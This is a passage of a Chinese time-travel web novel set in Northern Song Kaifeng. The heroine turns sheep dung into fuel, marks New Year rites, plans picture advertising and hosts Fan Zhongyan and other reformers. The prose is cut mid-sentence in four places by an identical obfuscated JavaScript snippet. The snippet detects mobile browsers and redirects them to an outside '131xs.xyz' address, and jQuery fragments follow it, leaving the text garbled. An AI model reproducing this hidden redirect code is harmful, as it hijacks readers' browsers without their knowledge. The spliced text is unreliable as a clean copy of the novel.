今天喊得来帮忙的这些小子都仅十岁左右，这个年纪去外面做工也无人雇佣，二十文日薪对这些小子来说可是天降横财。 蔡翠兰赶紧作保证："小娘子放心，咱们街坊的小子们手脚麻利得很，保管做得又快又好。" 她其实也有着自己的盘算，大丫曾说年后开春要开店招人，那她务必要在此事中崭露头角，让小娘子见识她的能干，以便日后优先录用。 吴悦颔首认可，这个她信，底层民众的生命力，就像她当时跟石介所言："此庶民之韧性也，纵经百世而不灭。" 她兴起念头雇佣人手，除了清洗晾晒羊毛，就是准备拿羊粪来尝试制作燃料。 羊粪目前当然被首先应用在肥料制作中，但是东京城作为全国最大的肉羊消费中心，产生的羊粪远超周边农田的消化能力。由于羊粪运输成本较高，运往更远的农田反而得不偿，那些地方的农户更倾向使用本地秸秆、草木灰等人畜粪便作为替代肥源。 那么，这些无法被城市周边田地消耗的羊粪放着也是浪费，不如让她回收利用一下。 羊粪很好处理，首先剔除杂草、石块等杂质，保留颗粒均匀的羊粪。选择干燥通风的空地， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609443|172133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将羊粪摊铺成约5厘米厚的薄层，防止堆积过于厚重导致霉变。虽说日照强烈、降水稀少的西北地区才是最佳的处理地，但冬季的东京城气候干燥、日照充足，也同样具备处理条件。 后世过年时，她回老家烧纸，常于正午时分坐在庭院中晒太阳，嗑着瓜子花生，那可是被晒得晕晕欲睡，整个人都要摊化在那里。 不过为了以防万一，她还是打算让他们把羊粪薄摊到3厘米厚的薄层，定时翻动，这样大概三四天就能晒干。 党项、吐蕃牧民迁徙时多携带干羊粪作为便携燃料，沿途随时取用。 后世研究表明，当时羊粪燃料已经作为西北驻军的取暖物资，但是中原士人认为这是“蛮俗”，仅边疆志书、军事文书里能够查阅到使用记录，而不会在中原地区推广。 但是考虑当下城里木炭价格昂贵，普通百姓难以负担这剧变的气候异常带来的更强的取暖需求，羊粪燃料就可以充当他们的替代选择。如果推广成功，可和羊毛制品一样，共同保障一些贫民活过这个冬天。 从长久看，将畜牧副产品转换为能源，也可以减少对自然植被的破坏。 汴梁城附近的自然植被总有被砍完的一天，这个时候的人们还没有补种的意识。木材既要用于建造房屋家具，又要烧制木炭，长此以往必将导致水土流失。虽然吴悦也不确定，此举能让否减少黄河决口次数，或许也只是白费工夫，但是她仍然想尽力试一试。 接下来的每一天都是晴空万里无云，简直是老天爷都在给她面子，让她的羊毛羊粪工坊成功运行。 吴悦本想每天下午都去外城，查看这两样的加工进度。 但是石介突然给她下午也加课了，每天下午，都要和吕希哲、兄长吴夏以及何群一起学习。 每晚回家还要完成课业。 这下就只能通过青枣和大丫转述，掌握实况。 劳动人民的智慧真是令人惊叹，再发现羊毛如此处理后可以用来保暖后。蔡翠兰等人经过她的允许后，也去收集了一些羊毛回来，效仿着处理，将其缝入麻布衣衫夹层或鞋帮内，还做了手套和围脖。 当下东京城底层百姓，冬日多穿粗麻褐衣，脚蹬草鞋。 麻布衣就是平民最常见的衣物，用苎麻、葛藤等植物纤维编织，虽轻便却保暖性欠佳。而草履就是用稻草捆扎，鞋底用破布或废纸浸泡浆糊层层粘合制成硬底用来保暖。 在之前她们都是塞芦花或者柳絮填充衣物，还有些将捡的旧棉絮或者破布清洗后重复利用，缝入夹层御寒。 如今改用羊毛缝制保暖夹层，让人普遍感觉暖意倍增。更不用说吴悦还告诉她们这些干燥后的羊粪可以拿来取火。 众人试着尝试了下，发现虽然烧的比木炭快，但是无烟无味，日常做饭烧水足够了。他们甚至连工钱都不要，让大丫代为转达，想买些这些晒好的羊粪。 吴悦象征性的每人收了他们几文钱，就让大丫分给了她们一些，剩余的则暂存于蔡翠兰家的院子里——她另有打算。 29. 第 29 章 今日是腊月二十九，从明天开始，北宋全年最长假期就开始了。从元日，也就是（正月初一）开始、天庆节（正月初三）和上元节（正月十五）将会各放7天。 北宋节日放假以传统大节（春节、寒食、冬至）为核心，辅以政治纪念节（如纪念宋仁宗诞辰的乾元节）和农事节气（如立夏、芒种）。 地方官员自腊月二十“封印”就停止办公，到正月二十才会“开印”恢复办公，实际形成长达一个月的春节连休。而中央官员需参加正月一日的正旦大朝会为皇帝贺岁，但仍然享有十七日的连续休假。 北宋的官员算历朝历代假期最多的，算上旬休（每十日休一日），全年法定假期总数达一百二十余天，较唐代增加三十余日，充分体现了“宽待士大夫”的政治理念。 这让后世的人知道还不得羡慕死。 这天庆节说起来就有意思了，后世人可能会觉得很陌生，因为这是宋仁宗的爹真宗自己搞活出来的一个节日。 1004年，宋真宗与辽圣宗（耶律隆绪，母亲就是那位出名的萧太后）签订《澶渊之盟》，宋每年向辽国输送岁币换取和平，虽然确实得以使得大宋休养生息，但是真宗其实对城下之盟耿耿于怀。近臣王钦若向他献策，称可以人力制造祥瑞，来借此愚弄百姓。真宗采取了他的计谋，宣称梦遇神人，预言将有"天书"降于承天门。 数日后，皇城司果然在承天门发现了黄帛包裹的“天书”，内书“赵受命，兴于宋，付于恒（赵恒）……世七百，九九定”，暗示赵宋天命延续。真宗借此通过伪造的天命，为他泰山封禅制造合法性，也试图转移国内对澶渊之盟的不满，塑造“天命所归”的形象。耗资八百余万贯建造玉清昭应宫等建筑群，开启持续十五年的"天书运动"。 但是这个造价昂贵的玉清昭应宫在一刻钟内被大火焚烧殆尽，可谓是劳民伤财。 宋真宗让整个朝廷的士大夫捏着鼻子陪他演这么一出戏，在他之后再无皇帝泰山封禅，因为后面的皇帝大概都觉得掉价。 1022年，真宗驾崩，刘娥临朝摄政，下令将“天书”随同宋真宗一起下葬永定陵，也停止天下宫观营造，彻底终结了这场扰动大宋王朝多年，以"天命"为幌子的政治闹剧。 ---------------------------------------- 今日放学，吴悦特意叮嘱兄长稍候，独自随石介步入书房。 石介笑吟吟地示意弟子落座，道："正巧我也有事相商，你先说吧。" 吴悦虽然感到蹊跷，也没有深想，径直行礼道："恳请先生正月初十移驾某处，弟子欲展示一些新鲜事物。还望先生家中等待，届时会遣人车夫前来接人。" 石介闻言微愕，抚须笑道："说来也巧，某也正想请尊父初十晚间空出二楼最大的雅间，让我与故友小聚。"于是二人相视一笑，当即约定行事。 向石介请辞时，吴悦顺口问了句："不知先生与何人雅集？是否需要将二楼暂闭？" 石介报出几位友人姓名，略作思忖，随即又问："可否留下后巷通道让我们通过，这样也不妨碍正门生意。" 居然是三位鸿儒和四位重臣，庆历新政的中坚力量一同前来，如此高规格的聚会委实有点太引人瞩目。 她打算回去就和爹娘商议，那日暂停对外营业，只专心接待二楼雅间的先生和他的好友们。还要把准备很久的一些菜品趁机推出，同时借机推广羊毛制品。 原计划她也打算带石介前往外城大丫家的参观羊毛和羊粪的加工后的副产品。但是现在，刚好可以一网打尽，把东西全部拉去食店后院，一起来个展销会。 “先生，恕学生取消初十早上的行程。"吴悦正色禀道，"恳请先生与诸位大人直接莅临吴氏酪香，学生将在后院实物演示。” 诚然，她可以囤积羊毛原料，在冬季低价抛售羊毛制品给平民，为家族树立恤民善人的口碑。或者等吴夏步入仕途后，让他用羊毛制品赈济贫民，以"心系黎庶"为仕进之阶。甚至还可以等她入宫后，献给给宋仁宗，博取个仁厚慈善的圣眷，增加自己在后宫的政治筹码。 但是，这样就要等很多年，而在此期间不知多少百姓将冻毙于寒夜，而且这很难扭转羊毛在世人心中的粗鄙印象。因为这并非新奇之物，只是被士大夫阶层鄙夷为蛮夷之物。上层不屑推广，下层民众又缺乏认知，致使羊毛加工技术限制在边地传播。 如果说谁能潜移默化的改变这个现象，只有主导庆历新政的这些改革派。作为当朝最开明的士大夫群体，他们秉持民本理念，却将于明年，庆历五年（1045年）集体遭外放调任。 离开了保守势力盘踞的中枢后，深入地方民间反而更利于推广那些被时人排斥的"蛮夷之物"。毕竟当百姓濒临饥寒交迫时，所有的礼教颜面都显得无足轻重。 况且，在这个时代，她是无法做到单打独斗。一个七品武官家的小娘子，就算怀有良策妙计，也不会受人重视。即便他日登临太后之位临朝摄政，也没有显赫门阀可以依靠，必须组建直属班底——既要不欺瞒主上，又能忠实执行政令。 相较于朝中那些动辄搬出祖宗成法的守旧派，唯有改革派可成为其政治盟友。前者估计巴不得她一个女人，莫问莫管，只在奏章上盖印就可以。 而她作为石介弟子，天生被打上了范仲淹一党的印记，这在当前是劣势，容易遭受攻讦。但是等到改革派重返中枢之日，这层渊源反成最可靠的政治资本。 当然，她还要在民间发展自己的势力，无论任何时候，都要与占人口绝大多数的下层百姓站在一起，必须动员和依靠他们，让他们成为她最深厚的力量源泉。 石介沉吟片刻，颔首允诺。 吴悦笑的开了怀。 她有信心，在这些真正心系黎庶的人眼中，这些东西的价值无可估量。 快乐地跟着兄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609444|172133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长回了家，寻得刘耘娘，告知初十闭店不迎外客，专心招待先生和先生的好友。并且强调，咱们可趁机推出备下的菜品，如果获得好评，这可是活招牌。 能招待朝中重臣，这不是以后给吾儿积攒人脉根基吗？刘耘娘当然百分之百的愿意。不仅满口应承，更主动提议届时她们夫妇可以一道前往招待。 吴悦连忙开口想打消掉她的念头，他俩都去了，怎么进行下一步，这可是打算把赚钱的东西往外送。 摆手劝阻道："爹娘都在岂不是显得哥哥很无能，这么大了还离不开长辈的扶持。不如就让我们兄妹二人尽心款待先生与贵客，给我们展示的机会。” 刘耘娘也觉得有理，便不再坚持。 ---------------------------------- 腊月三十，今天早上，难得全家都在家中用膳。 吴父明日一早还需要去宫中参加大朝会，为宋仁宗贺岁。当然只有正三品以上以上大员才可以进入大殿直接面圣贺岁，他这个品级只能在外面的大殿等候着吹冷风。今日稍早他就留在家中筹备祭祀，在正厅设置香案，供奉祖先牌位。 北宋时期，男女分工不同。男子要洒扫庭除、布置祭台；而女子则准备祭食，也就是三牲五果，已备明晨祭祀之用。 三牲就是羊首、猪首、鱼，平民就可以选择鸡、鱼、肉；五果就是枣、栗、榛、菱、芡，各取其谐音寓意，如"早立人丁""财源丰盈"之类；而茶酒饭食就是新酿屠苏酒、五辛春盘、胶牙饧（麦芽糖）。 今夜，无论士大夫或者普通百姓，都要围坐在火炉旁，守岁达旦。到了元日，也就是正月初一，陈酒果、焚楮帛以祀先祖。 当祭台设置完毕后，吴悦和家里一众人换上迎年服等着元日清晨祭祀祖先。 下午，家中还来了不少人。原来今日食店也休店，但是只休到初三，而在店里做工的人今天来领取年节赏钱，顺便也领走吴悦备下的年礼。她为每人准备了一罐猪油和五斤羊肉。 夜幕降临，他们一家老小加上路伯、王婆等人，都聚在前厅里吃着零嘴，聊着最近一些城里的新鲜事以待元正。 这会也没有杨氏和大丫婆母，她们四人已返外城的居所，等年后初四复工时才回来。 当时守岁的习俗是要求全家围炉通宵，待元日初阳升起之时，方可以行祭祀之事。 作为小孩子，吴悦的身体实在熬不住，裹着被子被刘耘娘圈在怀里，一夜就这么似梦似醒。 终于等天边出现一线光亮，刘耘娘立刻摇醒女儿，忙不迭失的给女儿嘴里塞饴糖，防止她出言不吉，可是没一会就被吴悦含着给吃没了。 吴父盥手后，庄重的点燃速香，奠酒，诵读祭文。吴夏作为独子，献上了胙肉和丝帛。吴王氏带着刘耘娘和家中女眷献茶果。幼童，也就是吴悦本人，则献上胶牙饧。 最后全体行四拜礼，焚烧纸钱以及送寒衣。 30. 第 30 章 由于他们也没有族人，不需要分割胙肉。大家就进入了下一步。 刘耘娘将祭品撤下后加热，全家共食，这就是纳福宴。 而吴夏和吴悦作为家中晚辈，要向祖母和爹娘献上椒柏酒（以椒花、柏叶浸泡而成），祝寿辞岁。他们俩也收到了压胜钱，和后世的压岁钱不一样，这是铜铸的，刻有吉祥文字、专用于祈福辟邪的钱币。 兄长吴夏收到的是刻着金榜题名的钱币，吴父还将吴温留下的一个砚台，这次也一起赠给了他。并趁机对吴夏说了一些激励的话，今年要专心研学，明年参加太学考试，不可辜负先生教诲等等。 而吴悦拿到的压胜钱上，刻的居然是夫贵妻荣。给她准备的也是金银花钿和同心结，这都是象征未来姻缘美满。 吴军抱起吴悦，望着这张美丽的小脸，眼中满是慈爱，喃喃自语："祖宗保佑吾女身体健康，平安长大，莫要长残了，便照此刻模样生得愈发标致才好。" 吴王氏也拉过吴悦来到身前，与刘耘娘各给她塞了一枚新的压胜钱，一个刻着德言容功，一个刻着兰心蕙质，两枚都是对她本人的祝福。 吴悦心道这才像那么回事，她爹想把她嫁入高门的意图是一点都没隐藏。 繁忙的元日清晨就这样结束了，吴悦打着哈欠，走回屋子准备补觉，兄长吴夏也是如此，两人步伐一致朝后院走去。 吴父早在送完压胜钱后，饭都没吃，急忙换上官服，就入宫参加正日大朝会。 留下刘耘娘与王婆和青枣仍在外忙碌，把正厅的一片狼藉收拾妥当后，三人这才停下去歇了去休息。 ------------------------------------------------------ 北宋春节是全年最盛大的节日。 除夕夜，有数百人戴面具扮鬼神，执戈扬盾沿汴京街巷跳跃呼号，鼓乐声震彻夜空，市民争相围观这场驱傩游行。 子夜时分，家家户户都会点燃松明火把，焚烧"灶马"祭祀灶神，爆竹声此起彼伏，这一习俗又称为"接年"。 但是这俩活动，吴悦都没参加。刘耘娘嫌她小，拘在家里不许外出，她哥倒是很想去看驱傩游行，但是在妹妹那你是个叛徒般的眼神攻击下也下也未出门。而午夜十二点时的接年，她在刘耘娘怀里睡得正香，连爆竹声都没吵醒。 春节期间，东京城所有街巷均可自由设摊，商铺通宵营业。街道上，酒肆悬挂"庆新岁"彩幡，茶坊推出"梅花汤饼"，药铺售卖"屠苏酒"，甚至出现"代客拜年"的职业"年节使"。 一些士大夫还在相国寺举办"元日诗会"，饮酒联句，所作诗词通过"飞帖"传遍全城。更多的官员也会换上便服携家带口参与市集，与百姓一起观赏百戏。 在去石介府中向先生拜年后，吴悦还偷偷去看了自家食店，发现不少顾客驻足门帘前，看到初四营业的告示后长吁短叹，相约改日再来。 不错不错，她内心很是欣慰，看来人们还是很喜欢的她家的饭菜的。只是年前未能及时通知顾客食店暂停营业，只能靠顾客间口口相传。以后若要推出新特色菜，也只能在门口立牌子，辐射范围太小。 吴悦不禁暗想，要是有后世的广告小传单就好了。 虽然北宋现在还没有广告传单，但是另外一种小型的四开的纸质宣传物却并不少见。不过这类出版物是民间私自发行的"小报"，主要刊载朝廷动态、官员任免、科举信息等内容。 宋代民众享有空前的出版自由与新闻传播空间，如《宋会要辑稿》记载："近年有所谓小报者，或是朝报未报之事，或是官员陈乞未曾施行之事，先传于外。"小报常披露某人被召入宫或罢官等消息，有时朝中公文尚未下发，相关内容已被小报率先刊载。 当然，有一些消息缺乏准确性，“其说或然或不然”，反映出当前对新闻传播缺乏有效管控。但民间仍然因为"喜新好奇"，将小报视为获取新闻的首选，对朝报则不怎么查阅，致使信息真伪难辨。小报因此长期被官方列为非法出版物，仁宗时期就下诏禁止"撰造事端，妄作朝报"，神宗时进一步严令"不得擅传报状"。 但是她一介小民，又不打算现在干预舆论、翻弄是非。广告作为商业活动的自然延伸，当然合法，不过她打算印制的是图文结合的广告，而不是简单的文字。毕昇的活字印刷术大概也就在这几年出现，可以助力印刷品的大范围传播。 在自己的小本本上记下了这个名字，记得此时的毕昇好像是在杭州书籍铺做雕版刻本，专事手工印刷，在雕版印刷实践中，鉴于雕版印刷的艰难，为减少成本、提高排版效率，他就在总结前人经验的基础上，发明了活字印刷术。 可惜的是，这项技术尚未广泛推广，毕昇便已离世。 这就需要寻找时机去杭州把此人请回来，让他研究如何制作带插图的印刷广告。就像现代的海报，可以更直观的并且图文并茂宣传。 小报都是密密麻麻的字，这就是面对识字的士人阶级的，并且文字带有主观解读空间，容易被曲解。 图片就不一样了，具有更强的直观性，能突破语言限制。 明代木刻技术催生了《西游记》《三国演义》等连环画，通过连续图像叙事，将文言经典转化为通俗视觉语言。而清代《雍正耕织图册》作为世界首部农业科普画册，采用图文对照形式普及农业技术，成为基层教育工具。 后世经验表明，还没上幼儿园的小孩都能就着漫画或者动画片看得津津有味，提供了早期启蒙认知的有效载体作用，帮助理解复杂故事。还有在墙体上印刷的宣传图，比如尊老爱幼、爱护环境，遵守道路交通规则，这些宣传画在公共卫生、道德规范、政治宣传等领域发挥重要作用，更不用说抗战时期的动员海报、现代公益广告等，都印证了图片在跨越文化和语言障碍，传递信息方面提供了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609445|172133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巨大的作用。 这么一想，毕昇还真是个关键人物，等把人请来后，就委托设计版画，再逐步改进印刷技术，研究突破单色印刷的限制。初期可从食店菜品、店铺货品推荐入手进行尝试，开设专门印刷图文广告的工坊，专注于商品的推广服务。 后续可拓展至儿童启蒙读物领域，筛选合适的故事题材。像孔融让梨和司马光砸缸这种存在争议的典故就算了，这俩都是为了造势宣传，其人物行为经不起深入推敲。而缇萦救父、昭君出塞等历史典故，则更具教育价值。 此外，后世经典寓言如愚公移山、滥竽充数、刻舟求剑等，既能传递哲理又可以普及成语知识。以及三只小猪、小马过河、狼来了等等，西方寓言常用通过拟人化动物和奇幻情节来传递普世价值观，如培养长远规划意识、强调实践验证的重要性、以及凸显诚信在社会契约中的价值。 她计划通过这些作品，以连环画的形式引导底层民众建立批判性思维，让下层人民开智才是她的最终目的。 并且她要展示女性在大是大非中的存在，让人们提起优秀的女性首先想到的是缇萦、王昭君、平阳公主、冯嫽和冼夫人，而不是创作《女诫》的班超。 在古代，不识字的百姓是最容易被煽动的，而图像传播能突破文字障碍传达思想。产品说明书中采用分步图示的方式，更直观地展示组装流程；同样，医院采血或清洁流程的连续图示分解，也能通过动态画面帮助患者降低理解难度。 王安石推行青苗法就是一个明显的例子，青苗法切断了地主阶级放贷获利的渠道，引起了地主阶级的强烈反扑。因此，在政令下达时，传递政令的基层官吏曲解意思，将本来二分息的贷款谎称为六分息，并造谣"青苗钱为刮民膏血"，被广大农民痛恨。 这种扭曲执行使官贷利率反而高于民间高利贷，百姓宁愿承受地主剥削也不愿借贷官钱。借此煽动民怨，将政策失败归咎于皇帝和变法派，司马光在《资治通鉴》中刻意描绘"农民哭于青苗法"的场景，进一步强化舆论污名化。这场有组织的舆论绞杀最终导致变法因失去民众支持而被迫终止。 当然，青苗法无法成功还有一些深层经济逻辑的困境，以及宋神宗急于求成的改革心态，迫使王安石过早将青苗法纳入官员考核体系，地方官吏为完成考核目标，出现"强制摊派"现象。这种扭曲执行不仅违背政策初衷，更将改革成本转嫁给农民，又进一步激化社会矛盾。 从历史维度审视，民众的认知局限往往容易成为上层操纵的工具。 统治者既需要民众维持基础生产力，又忌惮思想觉醒对统治秩序的冲击。 中国历史上自上而下的改革往往面临重重困境，这就是底层缺乏坚实的力量。真正的社会进步，既需要自上而下的制度供给，也需要自下而上的智慧觉醒。西方古腾堡印刷术重塑了欧洲知识生态，这才能直接推动欧洲宗教改革与科学革命，加速智识传播。 31. 第 31 章 建国时期，全国文盲率超过了95%。在这几十年的发展历程中，简体字的普及，以及发起的扫盲运动，为乡镇企业崛起提供了人力资本支撑，识字的农民和工人纷纷成为技术革新主力，为后面从农业国向工业大国、制造大国转型储备了关键人才。 但是在这个时代困难重重，最关键的原因，就是因为技术没有达到。没有工业革命和机械化，农民需终日在地里劳作维持生计，因此缺乏学习时间，并且“扫盲”也会激起士人阶级的警惕引起反扑。 纵观历史，士人阶级通过文字垄断巩固社会地位。《论语》"不学诗，无以言"的训诫确立了书面文本的权威性，而"画工所绘市井百态"则被主流文化斥为"末技"，难登大雅之堂。 因此，利用印刷术发展的连环画教育来启迪民智，不失为一种可行的策略。在图像被污名化的语境下，这种隐蔽的文化传播形式反而具有特殊优势——因为"不入流"的属性，不易引发统治阶层的警觉。 越想越觉得可行，吴悦恨不得现在就飞去杭州把毕昇抢回来。 正月初十宴请那日，她得找机会偷偷问下先生，现在的杭州知州是谁。她知道范仲淹和苏轼都担任过杭州知州，但苏轼此刻不过是与自己同龄的孩童。范仲淹则需要先赴邓州创办花洲书院，待写下"先天下之忧而忧，后天下之乐而乐"的名句后，才会调任杭州。 得想个办法，寻个名正言顺的理由派人南下，还需要有一个大一点的地方，可以安顿她的工坊。 吴悦心里顿时有了些主意，这就回家，给她娘灌迷魂汤去。 "娘，今日食店外好多人眼巴巴盼着开门，谁料看到‘初四营业''的告示，大家都失望而归。"扯着母亲的衣袖撒娇，吴悦满脸好遗憾哦钱都飞走了哦。 刘耘娘听后也很苦恼，谁不想开门迎客？只是店里人手实在捉襟见肘，忙不过来了。 东京城一些高端酒楼，如提供提供宴席服务，配套歌妓娱乐的樊楼、会仙楼等，往往营业至三更方歇，凌晨五更又复开张。而一些大众食店，则营业至二更（约晚上十一点），州桥夜市的煎炒熬炖等各类食摊甚至可以通宵达旦。 反观自家食店，仅有不到二十名伙计，本来以为足够应对，但是生意太过火爆，如今已显得人手不足，服务与后厨均显得力不从心。刘耘娘本就打算初十歇业时，刚好招募四五名新工，来减轻下压力。 但是吴悦听了却建议："反正咱们也要上新菜、未来也打算开分店，不如多签些契约工，培养成早晚班轮值制度。新店开张时可直接调派过去充实人手，省去适应期的环节。" 她又趁机鼓捣刘耘娘："若要扩张分店，应该早早物色铺面。装修筹备还需要花费一些时日，越早布局越好。" 刘耘娘也觉得有理，近来也打听了不少铺面，已经有了两三个合适的。但是，不是离食店太远，就是离家太远。唯一一个在家和食店中间的，却在大相国寺附近。 大相国寺是北宋佛教的中心，经常举办像浴佛节、盂兰盆会这样的大型佛事活动，还设有集市，是全城最大的商品交易场所。汇聚书籍、字画、古玩、药材、珠宝等各类商品，并设有餐饮娱乐摊位，吸引众多信徒与游客络绎不绝。 宋人笔记《燕翼诒谋录》提到，“中庭两庑，可容万人，凡商旅交易，皆萃其中”，充分体现了大相国寺作为北宋最大的商业枢纽的重要性。 这样的铺子，人流客源不需要操心，但前厅面积狭小，难以容纳堂食顾客，只能做个柜台样式外卖窗口，供顾客即买即走。 吴悦却觉得这样挺好，那就把这个铺子做成糕点铺。这就只需要后厨扩建，提前砌个大的土窑来烘烤比如面包或者酥饼，也要有两口特制的大铁锅和炉灶来炸添加猪油中式糕点，比如麻花、开口笑、萨其马和蒸制的猪油松糕、马拉糕等。店里也可以提供饮子，试一试后世的水果茶和新式茶饮在北宋有没有市场。 “我们还可以看看有没有便宜的民宅租下来，让一些无家可归的伙计居住。” 这也不算稀奇，宋代官营作坊如少府监、将作监的工匠需长期服役，官府会提供"匠舍"作为集体宿舍，并配备基本生活设施。大型私营作坊（如冶铁、纺织业）为稳定劳动力，常为长期雇工提供住宿。酒楼、邸店等商铺的伙计多就近居住在店铺内或周边，以便昼夜值守。这类住宿均由雇主提供，唯有临时雇工才自行解决住所。 “让他们吃住在一起也便于我们管理，又能增强他们的归属感和忠诚度。而且咱们也应该有一个空旷的地方，制作黄油、酸奶，还有猪油这些原料。” 吴悦还没明说的隐忧就是，待糕点铺开起来，分店越来越多，她们家的后院可做不了那么多原料。现在让杨氏和大丫在这里处理奶制品和猪油只是权宜之计。总不能这个家以后都不住了，堂堂七品官员的后宅搞得跟厨房似得，有碍观瞻，更有损斯文。 刘耘娘也察觉到问题的严重性，吴王氏也经常抱怨后院乱糟糟的吵成一片，但是她觉得这样便于监督生产，似乎还不赖。 可是儿子读书需要有个安静的环境，丈夫的同僚偶尔来家中发现这后院如此杂乱，难免贻笑大方。思及此，她坐直身子，意识到此事不可再拖延。然而一想到刚赚的银钱尚未焐热就要花出去，心中难免一阵绞痛。 吴悦知道她娘心疼钱，也知道东京城内的地皮可不便宜，就趁机提出意见，夹带私货。 “就算是近郊的庄子也可以，只要道路通达，原料运输反而比城内更快捷。城内小巷常堵车，挤得人半日难行。从城外走州桥这种大路，反而比在城内小街小巷弯弯转转要更快。咱们可以让一些需要安排住宿的员工也住在庄子里，早上跟随着运 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609446|172133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 输原料食材的货车进城就好。” 庄子好啊庄子妙，空间更大，吴悦眸中泛起亮光，她可以在那尝试壁炉。甚至等毕昇被她骗来，还能辟出工坊研发新型版画工艺。 事实上，东京城郊的祥符、陈留二县庄园密布，生产的蔬菜、水果、纺织品通过新宋门运入城市，已形成成熟的城郊经济圈。 刘耘娘垂首沉吟，忽然回忆起婆母曾提及公爹有旧交在近郊置有田庄。不过这需要先向吴王氏核实，然后再招来路伯询问。路伯曾随公爹征战，对公爹的人脉更为熟悉。 她叮嘱女儿："你且去筹备初十宴请事宜，一定要招待好先生和各位大人。这些事你就别管了。”言罢就去寻了婆婆。 发现事情果然朝着她想要的方向进行，吴悦还莫名的有些愧疚。她娘真的是太好哄骗了，总算理解了慈母多败儿这句话的含义，也还好她也不是个瞎胡闹的纨绔子弟。 但是，对不起，下次她还敢。 ---------------------------- 时间不缓不急，终于到了正月初十，也就是宴请之日。 一大早，向刘耘娘报备了后，吴悦就随张阿牛驱牛车前往外城大丫家中。 挑挑拣拣了一些要展示的物件放在牛车上，才带着大丫和蔡翠兰一起驱牛车驶去吴氏酪香店的后院。 在后院里腾出一片空地，摆放七张矮凳和小茶几，又将地面清理干净，铺好干净的竹席，摆上处理干净后的羊毛，以及蔡翠兰为弟弟缝制的被褥、夹袄、鞋垫、帽子、围脖等物。 又将一个炉子拖出来，准备以羊粪为燃料演示生火。 仅是这样打扫后院卫生和布置桌椅就花费了不少时间。 然后她就转入后厨，就火候、调味、摆盘与大厨做一些最后的确定。 时间就这么悄悄来到了下午五点，将近饭点，暮色已渐染檐角。 兄长吴夏已经提前去往石宅，去接先生过来。 等了很久，终于听到后院巷子内传来沓沓步履声，竟然好像是多人联袂前来。 吴悦赶紧开门将人迎接了进来。打头先踏入院内的，是她的师父，石介。随后也是她见过的熟人，孙复和杜衍紧跟其后。最后进来的人，身着宽袍大袖，神态谦和。 吴悦揣测这么明显的学者装扮，应该就是宋初三先生中的最后一位，安定先生胡瑗，胡翼之。 急引四位大人入庭院落座，示意大丫和蔡翠兰快点上茶与点心，她环顾一圈却发现未见兄长身影。 石介看到吴悦在探头探脑的找些什么，朗声笑道："我派你兄长去巷口候着希文他们了。你先来见过安定先生。” 果然，猜测被证实了，吴悦趋前行礼，胡瑗被问了一些你最近看了些什么书。她也乖乖地一一作答，忽然又听到院外又有了脚步声。 32. 第 32 章 吴悦赶紧又上前开门，陆陆续续进来三人，而这次，兄长吴夏亦趋亦步的跟在后面。 只见第一位老者，面容清癯，神态刚毅，长须垂胸，剑眉凤目炯炯有神，尽显刚毅果敢。 第二位中年男子身材魁梧，面容方正，虽着儒服却有着武将的英气。 第三位则年轻很多，宽袍阔袖，美髯飘飘，举止实在儒雅俊朗。 她猜第三位最年轻且颜值很能打的，就是盛誉“道貌温然，如玉之清；神气凛然，如水之澄”的韩琦。王安石曾直言“韩琦别无长处，惟面目较好耳”。 而前两位的身份让她有些困惑，范仲淹和富弼都是著名的以文驭武的文官。不过范仲淹是确以文官身份承担武官职责，直接参与军事指挥与边防建设，名副其实的文武全才，能打还能写。 而富弼虽然涉及军事相关事务，主持过地方军政，但核心身份仍是改革家与外交家，主持过出使辽国，劝服辽兴宗赞同与北宋一起讨伐西夏。此人最出名的还是他自己是宰相，岳父晏殊、女婿冯京都是宰相，可谓宰相连连看。 这两位名臣居然身形都很是孔武有力，毫无文官羸弱形象。因此，吴悦只能按照年纪大小来推断，中年男子应该是富弼，他比范仲淹要小上十五岁。 数位北宋名臣齐聚庭院，这个院子都变得蓬荜生辉起来，大丫和蔡翠兰都变得拘谨起来，立在一旁只作鹌鹑姿态。吴悦只好屏息敛衽，轻手轻脚为众人添茶续水。 